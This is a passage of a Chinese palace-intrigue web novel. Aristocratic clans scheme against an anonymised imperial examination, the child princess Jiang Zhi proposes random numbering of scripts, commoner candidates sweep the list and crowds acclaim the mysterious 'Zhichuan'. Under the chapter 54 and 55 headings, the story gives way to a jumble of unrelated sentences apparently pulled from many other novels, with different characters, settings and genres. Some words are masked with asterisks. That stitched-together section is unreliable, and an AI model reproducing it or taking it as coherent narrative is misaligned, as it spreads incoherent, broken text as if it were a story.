一种微妙的、名为“责任”与“力量”的认知,如同悄然萌发的种子,在姜稚心中落下了根。
然而,在这看似蓬勃的表象之下,暗流涌动更甚从前。
吏部尚书府内,气氛比以往更加凝重。
王珣花白的眉毛紧紧拧在一起,指尖无意识地敲击着紫檀木桌面,发出沉闷的声响。
窦国舅、以及几位核心的世家代表皆在座,人人面色阴沉。
“特科…糊名…誊录…”
王珣反复咀嚼着这几个字,眼神阴鸷得可怕。
“好一个雍王姜肃,好一个釜底抽薪!这是要掘我世家千百年的根基!他日,若是他继承大统,岂非没有我们世家的活路!”
“王公息怒。”一名来自颍川谢氏旁支的官员低声宽慰道。
“此次特科,中举名额不过二三十,且多为实务策论,本就非我世家子弟所长。即便让那些泥腿子侥幸得中几个,于大局无碍。”
“常科仍握在我们手中。朝堂要害之位,岂是他们能轻易染指的?”
“糊涂!愚蠢!”王珣厉声斥道,目光扫过在场众人。
“这岂是人数多寡的问题?此乃风向!是朝廷和陛下释放的信号!”
“一旦让那些泥腿子凭着几篇酸文真的爬上来,得了官身,有了话语权,他们便会得寸进尺!”
“这次是特科,下次他们就会把手伸向常科!今日有二三十个寒门入仕,明日就敢有上百!”
“长此以往,我世家子弟安身立命之所何在?朝堂之上,还会有我等置喙之地吗?”
说话间,王珣猛地站起身,声音压抑着愤怒:“更可恨的是那‘稚川’!盐政、治河…每样他都插一手!我观他所图甚大!”
“每每出手,皆以‘利国利民’为幌子,实则步步为营,收买人心,削弱我等力量!此人不似普通商贾,其智近妖,其势已成!”
“必须不惜一切代价,查出他的底细,将他连根拔起!”
窦国舅脸色同样难看,狠声道:
“王尚书所言极是!特科此例若成,后果不堪设
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想!此次特科,必须要让它成为一个笑话!”
“我已安排人手,在考生居住地外散布消息,称此次考试早有内定,寒门不过是陪衬。”
“再使人伪装成落第狂生,于放榜时**,质疑考官不公、糊名有诈!务必将水搅浑!”
“可是,陛下此次钦点了翰林院那个老古董徐清源为主考。此人油盐不进,素有清明。听说这阅卷流程也是极其严苛,想在其中动手脚,难如登天。”
弘农杨氏成员中,有人担忧道。
一名王家心腹闻言冷笑出声:“流程是死的,但人是活的。考场内我们难以下手,但考场外哪?”
“那些中榜的寒门子,哪一个不是家徒四壁、根基浅薄?寻些由头,或诬其品行有亏,或找其家族麻烦…即便这些人侥幸中了进士,也叫他们做不安稳这个官!”
“至于那‘稚川’…江南老家那边已加派人手,定要揪出他的狐狸尾巴!”
王珣听了,频频点头,眼中寒光更盛:
“还有,传信给各家。此次特科,我世家子弟即便参考,文章也不必过于出彩,但也决不能给寒门垫脚,更不能让人觉得我世家无人!”
“我们要让陛下和天下人看看,即便给了所谓‘公平’,寒门依旧是付**!真正能治国平天下的英才,唯有我世家方能培养!”
“另外……”王珣顿了顿,压低了声音,“宗人府那边,对太子‘照看’得要更‘周到’些,或许…这位太子殿下,将来还能有些用处。”
一条条毒计在尚书府中酝酿,世家数百年的底蕴与狠辣手段,在此刻显露无遗。
他们不仅要破坏这次特科,更要打击“糊名”制度的公信力,扼杀寒门崛起的希望,并寻找一切机会反扑。
然而,他们低估了皇帝推行特科的决心,也低估了寒门士子压抑多年的力量。
他们更不知道的是,在雍王府内,那个被视为“福气象征”的小小少女,正在以超越年龄的洞察和巧思,为这场不公平的战争,悄然增添着决定性的砝码。
第51章 他们想“藏拙”?那就让他们藏个够
特科开考前几日。
姜肃在书房与徐清源及几位心腹幕僚最后确认考务细节,气氛略显凝重。
徐清源眉头紧锁:
“王爷,下官接到密报,近日有人在考生暂居的客栈附近散布谣言,扰乱人心。”
“且世家似乎有意让部分参考子弟‘藏拙’。如此一来,即便糊名,最终榜单若仍是世家子占优,或水平差距不大,恐怕这‘糊名’之效会遭质疑。”
姜肃闻言亦感棘手。
正沉吟间,书房门被轻轻推开,姜稚端着新制的藕粉桂花糕走了进来。
她今日穿着一身水绿色的衣裙,步履轻盈。
见父亲与客人们面色严肃,她放下糕点后,没有出声打扰,而是眨着大眼睛,在一旁安静且好奇地听着。
姜肃见女儿进来,神色稍缓。
他并未因姜稚在场而对谈论的话题有所避讳,反而觉得女儿来得正是时候。
兴许小稚儿又能给他带来意想不到的启发。
而每每议事时,由于雍王姜肃特意的“操作”,这位小公主经常在场,所以大家对于她的出现也就没有感到别扭。
在听到“有人骚扰考生住处”等话后,姜稚“状似天真”地顺口说道:
“那让考生都住到指定的、有官兵看守的地方去不就好了?”
“就像士兵出征前要住在一起一样。吃的用的都统一安排,考试前谁也不许随便出来,考完了再放回家,不就不会被人打扰了?”
姜稚稚气的话让几位幕僚眼前一亮:
“集中住宿之议甚好,可防大半干扰。虽然执行起来有些麻烦,但可杜绝不利因素影响,方法上佳!”
另一幕僚接话道:
“住宿问题已解决。可这世家子集体‘藏拙’,要如何应对?”
“寒门子弟压抑多年,一朝有出头的机会,文章或许会显得急迫锐利。若世家子刻意写得圆滑平庸,这考官评判标准不一,结果恐难完全服众。”
姜稚安静地听着,当听到“藏拙”、“评判标准不一”时,她微微歪了歪头,清澈的眼眸中露出思索的神色。
【藏拙?考试不就是要把最好的本事拿出来吗?为什么要藏着?】
【哦…是想让寒门赢了也不光彩。真狡猾…】
【说起这评判标准…大家似乎很喜欢从文章风格、用典习惯去猜测出身。怎么能让这种猜测也变得更难呢?】
姜稚想到现代中很多艺考生考试的编号制,心中有了主意。
于是,她抬起小脸,看向父亲,用清亮的声音问道:
“爹爹,既然名字遮住了,笔迹也重抄了,那…能不能把考卷也像抽签一样,打乱顺序,编上只有老天爷才知道的号码呢?”
姜肃闻言瞬间来了兴趣,“稚儿,你且详细说说。”
见爹爹有意了解,姜稚便开始细细地解释:
“比如,誊录好的卷子,全部混在一起,由不识字的老衙役或者宫中女官来随机编号,甲乙丙丁或者天地玄黄什么的。”
“考官批卷子的时候,只知道这是‘甲字三号’卷、‘地字五号’卷,但这份卷子原本是第几个交的、大概属于哪一房考生却不知道。”
“等到最后定出名次了,再根据编号去核对原本糊名的那张纸,找出是谁。这样,是不是连猜都没法猜了?”
姜稚话音清脆,条理清晰,提出的“随机编号、双重隔离”的想法,让在场所有人都愣住了!
徐清源猛地抬头,看向姜稚,眼中爆发出惊人的光彩!
这位古板的老翰林,此刻竟激动得胡须微颤:
“妙!妙啊!公主殿下此议,可谓将‘糊名誊录’之精髓推至极致!”
“这随机编号,再次打乱,考官面对无任何标识的文章,何来风格可辨?何来出身可猜?唯有文章本身之优劣,可定其高下!此乃真正的‘至公之法’!”
姜肃亦是心中震动。
看着女儿那纯然提出建议的模样,胸中涌起难以言喻的骄傲与感慨。
稚儿随口一言,竟又解决了如此关键的难题!
“不仅如此,”姜肃也把握了女儿方法中的关键,迅速补充细化。
“阅卷考官需分散在不同屋舍,不得交流,各自按统一标准评
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阅。”
“卷子只给定上中下的等级,而不写评语,避免从评语风格推断考官是谁、进而推断考生可能所属派系。”
“最后统一汇总,按编号取平均或主考裁定分数。如此,可最大程度杜绝人为干预和猜测。”
徐清源连连点头:“王爷补充得极是!老臣立刻据此完善流程,奏请陛下!”
“有此等周密安排,看那些宵小还能如何质疑!”
姜稚见自己的“小主意”被如此重视和采纳,小脸上不禁露出一丝开心的红晕,但很快又恢复乖巧模样。
姜稚的建议,通过徐清源上奏给皇帝,很快得到了批准。
皇帝的旨意迅速下达,特科考务流程,按照完善后的方案严格执行。
于是,特科考生在考试前三天,便被统一安排到京郊几处由士兵暂时看守的营地集中安居,饮食统一供给,不得随意外出会客。
尤其是“随机编号、双重隔离、分散阅卷”等新举措,让世家所有场外干扰和策略都失去了着力点。
考试当日,贡院肃穆。
有了一系列新规,加上皇帝亲自关注,还有徐清源铁面主持,考场秩序井然。
寒门士子怀揣着前所未有的希望与激动,下笔如有神。
而世家子弟则多少有些茫然或敷衍。
考试内容也是颇具新意。
除了经义文章,更侧重实务策论,涉及河工、盐政、边患、吏治等当前朝政热点。
这恰恰是很多闭门读书的世家子弟的短板,却是一些关心时政、有实际思考的寒门士子发挥的舞台。
阅卷过程更是严格到近乎苛刻。
糊名、誊录、随机编号、考官隔离…
每一步都在严密的监督下进行。
当考官们面对那一份份只有编号、字迹统一、顺序完全打乱的朱卷时,任何关于考生身份的猜测都成了徒劳。
他们只能依据提前议定的“文理、见识、切合时务”等几条清晰标准,谨慎地给出等级。
数日紧张的阅卷后,金榜终于出炉。
而最终得出的结果,更是使朝野震惊。
第52章 世家壁垒出现裂缝
放榜这日,天还未亮,贡院外墙前已经人山人海。
被集中管理数日的考生们终于得到自由,纷纷**于此,焦急地等待着决定命运的一刻。
更多的京城百姓,各色人等也都来看热闹。
他们都想看看这次试行新举措的“糊名考试”,到底能选出什么样的人来。
当时辰到,礼部官员捧着黄绫覆盖的皇榜,在侍卫簇拥下走出来时,大家的视线都被紧紧黏在上面,全场鸦雀无声。
皇榜展开,中榜人的名字被高声唱出。
唱名官姓徐,乃礼部右侍郎,素来以嗓音清越著称。
今日他却像被冰雪堵住胸腔,第一句竟哑了:
“甲…甲榜第一名——”
他顿了顿,仿佛自己被那名字烫了舌头,“——江州,安陆县,李!衍!”
闻得榜首,人群迅速炸开了锅。
“李衍?谁是李衍?”
“安陆县?那不是去年才决堤的穷州吗?”
无数道目光在人群中探索,寻找着榜首的踪迹。
只见最外圈一个青衫青年直挺挺栽倒,随后又手脚并用地爬起。
他的额头磕破,血顺着眉骨滴在地上,绽成一串朱砂梅。喉咙里也发出一种不似人的呜咽,似是隐忍又像是激动。
旁边有人拽他:“还不快谢恩!”
青衫男人这才惊醒,扑通跪倒,背脊弯成一张拉满的弓,浑身颤抖。
唱名声如爆竹,一串接一串炸开:
“第二名,青州,临淄县,陈素!”
“第三名,扬州,高邮州,张芾!”
……
地上留下的脚印散乱无章,写尽“狂喜”与“绝望”两种笔意。
名单里,没有众人预想中那些耳熟能详的世家大姓,相反的,是一个个或质朴,或着陌生的名字被念出来。
每念出一个寒门士子的名字,人群中便爆发出一阵难以抑制的欢呼。
那些被念到名字的士子,有的当场喜极而泣,跪地叩谢皇恩;
有的则是紧紧抓住同伴的手臂,浑身颤抖,似是不敢相信;
还有的扬天长啸,仿佛要将多年郁积的不平之气一吐而尽。
二十八个名额,其中竟有二十五人出自毫无背景的寒门或平民家庭!
剩余三人,也仅仅是小世家旁系或与顶级世家关联不深的普通官宦子弟。
颖川谢,太原王,弘农杨等世家的子弟,竟无一人上榜!
所有考生誊录后的文章,也在放榜这日公布出来。
这些寒门士子的文章或犀利深刻,或务实恳切,皆言之有物,与当前朝政关心要解决的问题紧密相连。
而几位故意“藏拙”的世家子,其平庸甚至略显迂腐的文章,在众多优秀答卷映衬下,显得格外刺眼。
这赤裸裸的对比,无需多言,已然宣告了“糊名誊录”制度的巨大成功,也彻底撕开了世家把持科举、压抑寒才的遮羞布!
原来,不是寒门无人,而是明珠蒙尘!
“公平!苍天有眼!这才是真正的选才!”有位老士子热泪盈眶,嘶声高喊。
“雍王殿下大恩!徐大人青天!”更多的人群情激昂。
一位来自兖州以雄文中榜的年轻士子,猛地推开搀扶他的同伴,朝着南方的方向,郑重无比地整理衣冠,然后深深跪拜下去。
他额头触地,声音因激动而哽咽嘶哑,但却清晰无比地穿透喧嚣:
“学生兖州姜淮,寒窗十五载,屡试不第,以为这一生也会就此沉沦。今蒙圣上开恩科,殿下行良法,得以文章见天日!”
“但学生深知,若无稚川先生捐巨资、固河防,使学生家乡父老免于流离,学生无安心向学之日;若无先生认捐百万,使朝廷国库丰盈,此等颠覆旧例之新科恐难推行!”
“先生之行,乃破冰之先声;先生之财,乃鼎新之基石!先生之功,岂止于商?”
说罢,他深吸一口气,用尽全身力气,喊出了积郁心中已久、也代表在场无数寒门学子心声的话:
“稚川先生,千古”
这一声“千古”,仿佛带着千钧之力,瞬间击中了所有人的心扉!
“对!若无稚川先生前驱,何来我等今日!”
“先生大义,利在千秋!”
“拜谢稚川先生
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!”
声浪层层叠叠,汹涌澎湃,在贡院与京城街头,久久回荡。
这呼声,是对“公平”的至高礼赞,更是对一种新秩序、新希望的殷切期盼。
它穿透了朱门高墙,直抵深宫御案,也让世家府邸中的阴谋家们脸色惨白,心神剧震。
雍王府内,姜稚正被林月瑶带着在花园凉亭里学习插花。
隐约的、如同潮水般汹涌的声浪从墙外传了进来。
虽听不真切具体词句,但那汇聚而成的“稚川,千古”之音,却格外清晰震撼。
姜稚停下手中的动作,惊讶地望向声音传来的方向。
“娘亲,外面怎么了?声音好大,好像…很激动?”
林月瑶也听到了那震撼人心的呼声,心中明白,这定然与丈夫和那位神秘的“稚川先生”有关。
她看着女儿天真好奇的小脸,心中情绪复杂难言。
林月瑶早就隐约猜到丈夫与“稚川先生”关系匪浅,甚至可能“稚川”的一些决策也与女儿的“福慧”有关,但具体如何,丈夫未曾明言,她也就没有细问。
此刻,听着那外面由衷呼喊的“千古”之名,她既为丈夫的事业欣慰,又隐隐感到一丝难以言喻的震撼。
那个名字所承载的重量,似乎已远远超乎她的想象。
林月瑶轻轻将女儿揽入怀中,抚摸着她的头发,声音温柔却带着一丝感慨:
“他们在感谢一位…做了很多好事,改变了很多人命运的先生。那位先生,很了不起。”
姜稚依偎在母亲怀里,似懂非懂地点点头。
她哪里能知道,那个被千万人感念的名字,会与自己这个偶尔有些“小想法”、喜欢吃桂花糕、会被嬷嬷追着多加件衣裳的穿越者有千丝万缕的联系。
命运的奇妙,在此刻显露无疑。
而此刻的窦府与王家,已是一片死寂般的阴沉。
王珣更是脸色灰败,仿佛一夜之间老了十岁。
他望着窗外,听着隐约传来的、让他无比刺耳的“千古”呼声,他明白,世家数百年来不可动摇的一块基石,已经出现了深深的裂痕。
第53章 龙渊军整装待发
“糊名”特科的金榜如同一道撕裂暮霭的闪电,不仅照亮了寒门士子蹉跎多年的前路,其凛冽的光芒更映照出世家门第脸上那未曾有过的苍白与裂隙。
而随之响彻京城的“稚川千古”的呼声,更如同滚滚惊雷,携着万钧之力,传遍九州。
这响声,自然也重重叩击在北疆龙渊军主帅姜寒川的心门之上。
千里之外的北疆军营,姜寒川刚刚结束一场军事推演。
铠甲未卸,便接到了亲卫送来的京城密报。
当看到那近乎清一色的寒门榜单,读到“稚川先生千古”的呼喊竟能响彻京城街道时,那双惯常冷冽如寒潭的眸子里,掠过复杂的光芒。
寒风吹动他墨色的披风,猎猎作响。
姜寒川放下密报,缓步走至悬挂的巨幅大晟疆域图前。
修长而带着薄茧的手指,先是划过图上那条被特意加重标注、蜿蜒如龙的黄河河道——那里新添了数个“束水攻沙”工点的符号;
继而南移,掠过江南盐区,那里密布着代表新盐引制度推行区域的朱批印记;
最终,他的指尖稳稳点在了京城的位置,久久未动。
盐政革新,直指国库命脉;治河大策,关乎万民生息;科举变局,动摇世家根基…
这位三皇兄的每一次出手,都精准狠辣,却又堂堂正正,尽显阳谋风范。
而那位隐匿在后的“稚川先生”,也绝非寻常商贾。
他看待事物和利润的眼光,甚至超出了一般谋士运筹帷幄的范畴。
其背后所蕴含的对时局走向的精准预判、以及调动庞大人力物力的惊人能量,让久经沙场、见惯风云的姜寒川也不得不为之侧目。
“雍王…姜肃。”
姜寒川低声吐出这个名字。
脑海中,那个离京时温吞而懦弱的皇兄形象,与如今朝堂上那个锐意进取、屡出奇策的实权亲王,完全无法重叠。
是姜肃本身藏得太深,一朝得势便化龙腾飞?
还是说,那位“稚川先生”,才是这一切风云变幻的源头?
无论真相如何,京城的天,确确实实已经变了。
世家在科举上的惨败,意味着他们在人才和朝廷地位上都遭受了前所未有的重创。
旧有的平衡正在被猛烈打破,新的格局在激荡中孕育。
而此时此刻,作为远离中枢的北疆龙渊军,其立场与动向,便具有了足以影响天平倾斜方向的重量。
他忆起这些年来,那个署名“稚川”的车队,总能在滴水成冰的严冬送来的厚实棉衣与特效冻疮膏,在伤亡惨烈的战后及时补充上等金疮药与补血药材…
这些雪中送炭的举动,早已超越了寻常商贾的范畴,更像是一种心照不宣的投注,一种建立在共同利益或某种默契之上的隐性同盟。
帐外北风呼啸,卷起砂砾击打在牛皮帐幕上,发出沉闷的声响。
姜寒川深邃的眼眸中,最后一丝犹豫被凌厉的决心取代。
他转身,声音不大,却带着千军万马般的决断力,穿透帐幕:
“传令诸将,明日辰时中军大帐,升帐议事。”
“另,选最快的马,派最得力的人,八百里加急向朝廷呈递奏报:北疆冬防已固,边患暂息。臣,龙渊军统领姜寒川,仰慕天颜,谨请圣准,回京述职。”
他要回去亲眼去看一看,那搅动天下风云的“稚川”究竟是何等人物。
亲自去会一会那位脱胎换骨的雍王皇兄。
更要在这即将到来的、可能席卷整个朝堂的滔天巨浪中,为麾下三十万龙渊儿郎,也为他自己身上背负的镇北王血脉与深仇,谋定一个未来。
几乎就在姜寒川做出回京决定的同一时刻,京城窦府那间守卫森严、不见天日的密室内,空气压抑得如同暴风雨将至。
特科的惨败,尤其是那“千古”的呼声,如同烧红的烙铁,狠狠烫在了王珣等世家的核心人物的心尖上。
王珣仿佛一夜之间被抽走了脊梁。
原本挺直的背脊显
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出几分佝偻,眼窝深陷,但那双浑浊老眼里的光芒却如同淬毒的**,阴冷骇人。
“奇耻大辱!奇耻大辱!”王珣反复低吼着,手中的茶盏早已捏得指尖发白,摩擦出令人心悸的“吱吱”声。
“世家百年清誉,累世荣耀,竟被…竟被那些田舍郎、贩夫走卒之后,当众踩在脚下,肆意践踏!”
他声音嘶哑,每一个字都像是从牙缝中磨出来的一般,“此恨不雪,我太原王氏、颍川谢氏,还有何面目立于朝堂,立于这天地之间!”
窦国舅的脸色同样阴沉得能拧出水来,但他眼中除了愤怒,更多了一层破釜沉舟的疯狂与不计后果的狠辣。
“王公,科举这条路,眼下看来是被他们用‘公平’这面大旗给堵**,还反过来成了他们收买寒门人心的工具。”
“若此时,再在明面上纠缠文章优劣、取士标准,我们占不到便宜不说,只会让那帮人的名声越发响亮。”
“那当如何?难道就束手无策,坐视他们羽翼渐丰,将我世家百年基业一点点蛀空、拆散?”一位旁系将领出身的心腹忍不住拍案而起,满脸涨红。
“束手无策?”窦国舅从喉咙里发出低笑。
“他们步步紧逼,看似风光无限,可这风光之下,踩碎了多少人的饭碗,断送了多少人的财路?”
“盐引一动,多少倚靠旧盐政的官吏、豪商恨得咬牙切齿?治河大工,又断了多少人的发财路子?更不用说这科举改制,他们已经完全站在了世家的对立面!”
“恨他们的人,只怕比感激他们的人多十倍、百倍!”
“而这些“仇恨”,只是被眼下那些所谓的‘大义’和‘**’暂时压住了而已。”
王珣闻言,眼**火微微跳动,似有所悟:“你的意思是…”
“明枪既已难敌,暗箭便该齐发!”窦国舅身体前倾,压低的声音在密室中回荡。
烛光下映照出的,是他已经面目全非的满是算计的表情。
第一卷 第54章 绝望的土壤里,滋生出的“小毒芽”
窦国舅府,密室内,几位世家家主的阴谋还在继续。
维克多准备先解决了苏珊,再下楼去解决里德,苏珊还在这里,里德是不会逃跑的。
承诺眨眨眼,果然还是有危险,不过他们都习惯了,哪一次如果不发生点什么,回想起来都还没真实感呢。
布玛看着自己的哥哥姐姐招呼都没打,瞬间就飞走了,很不开心。
爱德华看见,依水寒和刀姐眼前一亮都在打退堂鼓,情况不妙连忙说道。
严硕只是有感而发了这句话,但顷刻之间联想到了自己、中约,乃至整个二十七约,不由得一阵烦闷,收回了心绪,只专心想着计划的进程。
子衿居大门出,得琴姑姑跨步出来,不知何故在原地愣了一会儿,又折身回去了。她一路穿过院子到了予美的卧房,叩响了门。
记忆中他对封印进星阵中的妖兽,有几只印象比较深刻,其中有一条似龙非龙的生物在咆哮盘旋,若隐若现。
不过经此一役,如今他们抬头迎接上满脸笑意的大姐后又略感惭愧的低下了头。
“好了,你们也该为我进阶元婴境界而高兴,等一下我会让你们感受元婴高手的手段如何与众不同。”凌傲天说着,眼中划过一道寒光。
四人闻言,脸上没有丝毫的挣扎之色,不约而同的咬破了后牙槽的毒药,几秒钟的功夫,鼻子和嘴角流出了黑色血液,身子一软倒在地上,死了。
而且,那些毕竟是她想要提前预防的想法,没凭没据的,也就放下了。
说不失落是假的,哪怕张宏发预料到了这种情况,但在真正经历过后,心底也难免升起失望,他苦笑着关闭了直播间。
看下周围,木子吓了一跳,人少了很多,自己嘟囔着:“人怎么少了“。
他会把族人们养殖成熟的鸡,按照事先约定好的价格,批发给这些贩子们。
入夜时分,客店之内的人多已安睡,然心事重重的刘鑫宇却是辗转反侧未能入眠。
“我告诉你姓许的,你要是再这么不知好歹的话,这个管家你就不要当了,趁早给我滚蛋!”宋婉婷恶狠狠地警告道。
看了一眼直播间里欢腾起来的观众,张宏发咧嘴一笑,他最初没想这样,在遇到嗨氏时,还以为这会是一场友好的切磋,甚至还有可能是两个平台缓和关系的桥梁。
下巴被夏红割了一道很长的伤口,之后,两手猛得一阵撕拉,光头的下巴像是脱臼了一样,整个掉了下来。
此刻的杨若心,已经换了一身装束。虽然依旧是朴实无华的青衣,但如此清秀佳人,今又得此繁华古街与无边美景相互陪衬,真可谓是美不胜收,清新醉人。
“说,跑哪里去了。”徐苏愉此刻俨然一副大姐大的气派。左岚跟在一边点点头。
安薇儿脸色一僵,该死,她找塞尔德帮忙的时候竟然忽略了这个问题,如今要怎么回答。
四周突然爆发出欢呼声和呐喊声,整个比武场上都弥漫着激动的味道。
第一卷 第55章 小手一指,边关变集市
下面只一个角斗场,上面是酒店以及娱乐设施,敢在城主府旁边堂而皇之的兴建这么一个角斗场,这主人也够豪气的。不过既然穆德也说了,这条街白天城主管,晚上就是他们的天下,想来已经成为一个定理。
更何况,凌霄将这九蛇毒域进行了升华,让它与洞天境武者的领域结合。
莎拉被说得脸色通红,整齐又洁白的牙齿紧咬着,好不容易才鼓足勇气。
当血量到达一百以下的时候,两人突然齐齐收手,跟着往身后一扑拉开距离,与此同时哔的一声按下闪现。
此刻不仅是复旦大学战队的五人愣住了,九玫更是对着镜头不知道说些。
凌霄的每一剑,都是势大力沉,竟然让他有一种根本难以抵挡的恐怖感觉。
“别的就不说了,我们能做的就只有这么多了,你们自己保重。”邱云说道。
风婆婆的性格倒是和黄老太太的性子相识。都是那种较开朗的类型,韩应雪也是一下子喜欢了。
王朝阳用最简单的表达说出了他的诉求。如果复杂了他还真的不会了。
可即便承受着惊人的痛苦,眼前的玉惊澜竟还能与她谈笑风生,这样的他,让云汐颜尤为心疼。
况和平哪能不紧张,人说三十而立,四十而不惑,五十知天命,原本以为已经知了天命,临时知道今天是王欣的生日时,还是瞬间就慌了手脚。
“很好!”乔迹对他们的表现很满意,他拍了拍手,在院中听命的家仆们捧着黑色的夜行衣走进大厅。
那个姑娘病好了,带着她的丫鬟,来找老牛和,向他表示一下谢意,然后,好回自己的家。她们主仆二人来到老牛和的房前,轻轻地敲了敲门,然后就推门走了进去。
“去接受上官逸的美人!”季绝的声音传来,欧阳宁差点没被酸梅汤给呛死,喷的一桌子都是。随从们这下都憋不住笑出了声,他们姑爷太可爱了。
他是我的网友,余则成是他的网名,他的真名叫什么我记不住了,也或许我根本就不知道。
火球碰上剑光后,顷刻间变了颜色,变得污浊黏糊,噼噼啪啪的炸响声中,便纷纷消弭了。
她刚刚要进村的时候,忽然看见两个鬼影,仔细一看,不是别人,正是黑白无常,他们打着招魂帆儿,拿个栓人索,忽忽悠悠的就要进村。
“我们边掷骰子边写姓名条,这样子不浪费纸张,大家觉得如何?”静静娇笑一声,挽着保罗的胳膊,边剪裁纸张边笑道。
欧阳冰抬眼望向玉龙国主,清冷好听的声音响起:“我若不接旨呢!”从来没有人能逼的了她,她到要看看这昏君有何本事逼得了她!她的话音一落,大殿立马安静下来,封月和沈婷婷都为欧阳冰捏了一把汗。
所以合一境巅峰之间,又划分了数个层次,早已被诸天万界认可。
石头津附近与城内不同,不再许人围观,早有王府卫士里三层外三层地把津渡团团包围了起来。五王的队列来至码头旁,便即停住,众人纷纷下了马车或者牛车——不仅仅五位藩王,还包括了不少的王府属吏,以及北来官僚。
心里一惊,今日不是大哥纳她入门的日子吗?她怎么跑到这里来了?打量了四周,并没有发现其他人的身影,心里更加疑惑,想起以前她说起宁愿嫁给自己也不嫁给兄长,眉头一皱,难不成是她自己逃出来的?
当然不仅仅只是五千年那么简单,因为在后面,还有着王浩对于星际的猜想,看着那炫目的科幻画面,与历史沉淀,形成了强力的冲突。
“我们刚才接到举报,说你的宠物店涉嫌欺诈顾客,价格远远超出了正常价格,并且用一些手段误导消费者,请问你那里销售的都有什么宠物,它们的平均价格都是多少。”这名工作人员面色变得严肃起来,朝着余乐问道。
大有一种,自己在与棉花战斗的感觉,因为诺得经常重重的一拳轰出之后,对方早就撤退了,仿佛他还没有出手,对方就好像知道。
此刻的天道,在和太一大战这么多年之后,对于一身力量的运用,即使谈不上炉火纯青、出神入化,可是熟练二字还是可以达到的。
因为要等着成嘉的消息,周末一整夜都没有睡,从天黑等到天亮,马上就要用午膳了,成嘉才回来禀报。
看着王浩急促的离开,恒远帝国的鞍钢,血色帝国的无眼,眼神之中,都流露出一抹强烈的好奇。
新闻里面的催眠蝈蝈,哪怕是他自己,都有些动心,换句话说,现在的他,已经没资格再和余乐谈条件了。
但当梦境不断向前推衍发展时,他必须跟上这种节奏,才能让自己不被噩梦所吞噬。
要说白老大白老二能在这行里干这么久,手底下着实是有几个顶用的,这个钱铭就算一个。
而在过去、或是现在的日子当中,柏树一般是种植于坟头旁边,用来寄托思念、驱邪之用。
徐缺微笑的点了点头,他开出的承诺,是任何人无法抵挡的,毕竟谁都想进入翡翠梦境练级。
当然了还有很多种类的异兽因为她来的时间短还没见过,但想来,也都是她认识的那些动物变异后的样子。
黎珊珊这话一出,洗手间里像是被按了静音键一样,立刻一片死静。
第56章 姜稚的“甜蜜负担”
元嘉三十三年冬,京城的第一场雪来得比往年更早一些。
细密的雪粒覆盖了琉璃瓦,给雍王府的亭台楼阁披上了一层素雅的银装。
在这个寒冷的季节里,雍王府却弥漫着一股不同寻常的暖意与井井有条的忙碌——
再过月余,便是镇国安宁公主姜稚的十岁生辰,亦是她即将行及笄礼的年纪。
在这个时代,女子十五岁及笄方算成年。
但皇室贵女,尤其是如姜稚这般自幼便有“镇国”封号、备受瞩目的公主,往往在十岁左右便会举行一场盛大而寓意深远的及笄预礼。
这不仅是象征着从懵懂女童向知礼少女的过渡,也是正式开启系统的宫廷教育、礼仪修**与部分内务管理的学习。
同时也是公主们议亲的前奏。
雍王府长史早已拟定详尽的典仪章程,呈报宗人府与宫内司礼监核准。
皇帝姜桓更是亲口吩咐,一应规格参照长公主旧例,并特赐内帑金帛用以添置仪仗器物。
林月瑶数月前便亲自操持。
从礼服纹样、钗环佩饰,再到宾客名单,从繁复庄重的三加三拜礼仪流程,到宴席的每一道菜品陈设,无不事事亲力亲为,精益求精。
她深知,女儿这场及笄预礼,是雍王府,更是女儿本人正式立于世人面前,接受审视与朝贺的重要时刻,所以力求尽善尽美。
姜肃虽朝务繁忙,但每日归府必先过问礼事进展,对关键环节也亲自把关。
他特意请动了已荣养多年、曾教导过先帝公主的宫中老尚仪韩氏出山,来担任及笄礼的正宾。
又邀请了以清正刚直著称的御史中丞夫人为有司,为女儿执礼。
而姜稚自己,近来的生活也是处处充满了“甜蜜的烦恼”。
一方面,她对新制的华美礼服、璀璨首饰充满好奇与期待,对这个世界中的“长大”二字所代表的新奇抱有憧憬;
另一方面,严格的礼仪训练着实让她有些吃不消。
韩尚仪要求极高,行止坐卧、举手投足皆有法度。
一个步态、一个揖礼往往要练习数十遍直至完美,才可停止。
往日她还能时常溜到父亲书房,赖在父亲身边听他“自言自语”朝堂趣事,偶尔自己也可翻看些有趣的地理杂书。
但如今这些闲暇被大幅压缩,身边嬷嬷宫女们时刻提醒着她及笄预礼在前,要时刻注意“公主仪态”。
这日午后,好不容易在韩尚仪严苛的目光下完成了今日的步态与执礼练习,被准许休息片刻。
姜稚悄悄松了口气,惦念着父亲前日提起的关于江南盐引的新进展,便借口给父王送参茶,提着一个小巧的食盒,轻手轻脚地来到书房外。
书房门虚掩着,里面传出父亲与几人议事的声音。
除了熟悉的福伯,还有两个略显陌生的嗓音,正条理清晰地汇报着什么。
“…淮东盐场三月产出同比增两成,但运输损耗略高于预估,主要是漕河一段淤塞…”;
“…北线商队回报,皮**药材收购顺利,但边境查验较往日严格几分,疑似有针对…”
姜稚在门口略一踌躇,还是轻轻叩门后推开走了进去。
室内光线明亮,父亲姜肃端坐主位,下首坐着福伯与两位身着儒衫却难掩精明干练之气的中年男子。
三人面前摊开着厚厚的账册与数张大幅舆图。
见姜稚进来,议政声戛然而止。
几人立刻起身,躬身行礼,姿态恭敬无比:“见过公主殿下。”
姜稚如今已习惯了旁人对她的恭谨,得体地微微颔首:“不必多礼。”
她将食盒内的参茶放在父亲案几一角,目光却被展开的舆图牢牢吸引——
那是大晟江南诸道与部分北疆的详图。
上面以不同颜色的朱砂墨线标注着密密麻麻的路线、节点与符号。
许多关键位置都盖着一个她越来越熟悉的、结构精巧的红色印鉴。
是那位名满天下的“稚川先生”的徽记!
“爹爹还在忙商行的事务吗?”姜稚忍不住问道。
说
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话间,她走近了几步,仔细打量着地图。
只见那印鉴如同星辰般点缀在运河沿线、盐场附近、边关榷市,彼此之间由清晰的商路连接,勾勒出一张庞大而有序的网络。
她虽不完全懂具体经营,却能直观感受到这张网络背后所代表的庞大能量与精密运作。
姜肃见女儿目光灼灼,心中微动。
他挥手示意福伯等人暂候,温声道:“正是。稚儿来得正好,可要看看‘稚川先生’是如何为我大晟的盐政与边贸劳心劳力的?”
姜肃让姜稚坐在自己身侧的锦凳上,指着地图耐心讲解:
“你看此处,是两淮盐运司所在,‘稚川先生’的商行在此设总栈。”
“在这儿,不仅要分销盐引,更需监督各盐场出盐质量,为此特别建立了一套‘产、验、运、销’的连环账册。还要每日往来飞鸽传书,确保数量、品质无差。”
